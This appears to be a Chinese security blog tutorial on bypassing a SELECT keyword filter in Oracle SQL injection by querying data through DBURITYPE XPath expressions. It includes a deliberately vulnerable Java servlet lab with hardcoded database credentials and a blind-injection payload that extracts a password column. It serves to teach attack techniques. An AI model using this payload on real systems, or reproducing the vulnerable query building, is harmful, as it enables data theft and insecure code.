ORACLE 无SELECT注入

在实际测试中, 经常遇到一出现SELECT就被拦截的场景, 对于无法多行查询的注入来说,一般遇到这种场景就告别出数据了(能出个user等信息)。闲着读ORACLE文档的时候, 发现ORACLE支持使用Xpath进行查询, 通过使用Xpath可以实现无SELECT查询数据。

测试环境

https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694

Description of DBUriType
The DBUriType is a subtype of the UriType that provides support for of DBUri-refs. A DBUri-ref is an intra-database URL that can be used to reference any row or row-column data in the database. The URL is specified as an XPath expression over a XML visualization of the database. The schemas become elements which contain tables and views. These tables and view further contain the rows and columns inside them.

从文档中可以看出DBUriType支持使用XPath表达式查询数据库中的数据。
-w724

从上图中能够看出虚拟视图的结构,很容易的能够看出uri的格式为/oradb/schemaname/tablename/ROW[predicate_expression],oradb可省略(也支持查询视图)。

正常查询结果。
-w319

使用DBURITYPE查询结果。
-w338

本地用JDBC简单搭建个非dba ORACLE SQL注入环境。

String username = req.getParameter("username");
resp.setHeader("Content-type", "text/html;charset=UTF-8");
resp.setCharacterEncoding("UTF-8");
try {
    Class.forName("oracle.jdbc.driver.OracleDriver");
    Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@39.108.232.59:49161:xe", "system", "oracle");
    Statement sts = conn.createStatement();

    if(username.toLowerCase().contains("select")){
        resp.getWriter().print("含有非法字符");
        return;
    }
    System.out.println(String.format("select count(*) from HR.test where username = '%s'", username));
    ResultSet rs = sts.executeQuery(String.format("select count(*) from HR.test where username = '%s'", username));
    rs.next();
    int row = rs.getInt(1);
    if(row > 0){
        resp.getWriter().print("已注册");
    }else{
        resp.getWriter().print("未注册");
    }
}catch(Exception e){
    e.printStackTrace();
}

盲注

/oradb/schemaname/tablename/ROW[predicate_expression]

1	select DBURITYPE('/HR/TEST/ROW[USERNAME="admin"]/USERNAME').getxml() from dual

在测试盲注时, 我没能在predicate_expression中实现模糊查询或者通配, 大概翻了下文档也没找到,只能够进行完整的匹配,不能模糊查询或者通配基本没法盲注。
所以在这里换成了使用extractvalue解析查询出来的xml再进行盲注。
/checkUsername?username=admin’ and extractvalue(DBURITYPE(‘/HR/TEST’).getxml(),’/TEST/ROW[1]/PASSWORD’)like’admin%25’–
-w984